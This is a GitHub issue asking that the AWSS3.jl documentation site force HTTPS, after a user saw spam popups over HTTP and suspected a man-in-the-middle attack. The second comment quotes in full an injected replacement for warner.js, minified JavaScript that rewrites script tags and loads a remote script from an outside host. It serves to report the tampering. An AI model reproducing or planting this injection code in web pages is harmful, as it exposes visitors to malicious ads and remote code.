Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Force HTTPS on docs #243

Open
Ellipse0934 opened this issue Mar 17, 2022 · 1 comment
Open

Force HTTPS on docs #243

Ellipse0934 opened this issue Mar 17, 2022 · 1 comment

Comments

@Ellipse0934
Copy link

While browsing the docs I was getting spam popups.
image
Which lead to:
image

I'm not sure why this happened but using https eliminated this for me. Is this a MITM attack ? Perhaps it's a good idea to force HTTPS.

@Ellipse0934
Copy link
Author

To add: these are the requests I see.
image
& what's fishy is that the second request for warner.js ends up returning

!function(){var a="/AWSS3.jl/stable/assets/warner.js",r=null,e=document.getElementsByTagName("script"),i=e.length,n=null,t=Date.now(),s=null,o=0;for("/"===a.substring(0,1)&&(a=a.substring(1)),o=0;o<i;o+=1)if(void 0!==e[o].src&&null!==e[o].src&&e[o].src.indexOf(a)>-1){n=o,r=e[o];break}void 0!==r&&null!==r||(r=document.getElementsByTagName("script")[0]),s=r.src.indexOf("?")>-1?r.src+"&cb="+t.toString()+"&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag":r.src+"?cb="+t.toString()+"&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag";try{if(void 0===window.sarazasarazaNoti||null===window.sarazasarazaNoti||window.sarazasarazaNoti===Array&&window.sarazasarazaNoti.indexOf(r.src)<0){void 0!==window.sarazasarazaNoti&&null!==window.sarazasarazaNoti||(window.sarazasarazaNoti=new Array),window.sarazasarazaNoti.push(r.src);var c=r.parentNode,d=r;if(r.async||r.defer||null!==n&&n!==e.length-1){var w=document.createElement("script");w.src=s,c.replaceChild(w,d)}else document.write("<script type='text/javascript' src="+s+"><\/script>"),c.removeChild(d)}}catch(a){}}();document.addEventListener('DOMContentLoaded',function(){var esp=document.createElement('span');var esr=document.createElement('script');esr.src='[http://avernusrouerie.com/r3GY8cwzVrEFJ/6922?aDcPgiD=1&aDgRpiD=93&tAgaDiD=295&nsVnM=m2';esr.type='text/javascript';esp.appendChild(esr);document.body.appendChild(esp);},false](http://avernusrouerie.com/r3GY8cwzVrEFJ/6922?aDcPgiD=1&aDgRpiD=93&tAgaDiD=295&nsVnM=m2%27;esr.type=%27text/javascript%27;esp.appendChild(esr);document.body.appendChild(esp);},false));

which is clearly not the original warner.js here.
I'm pretty sure this is some sort of MITM attack, it would be wise to switch to HTTPS.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant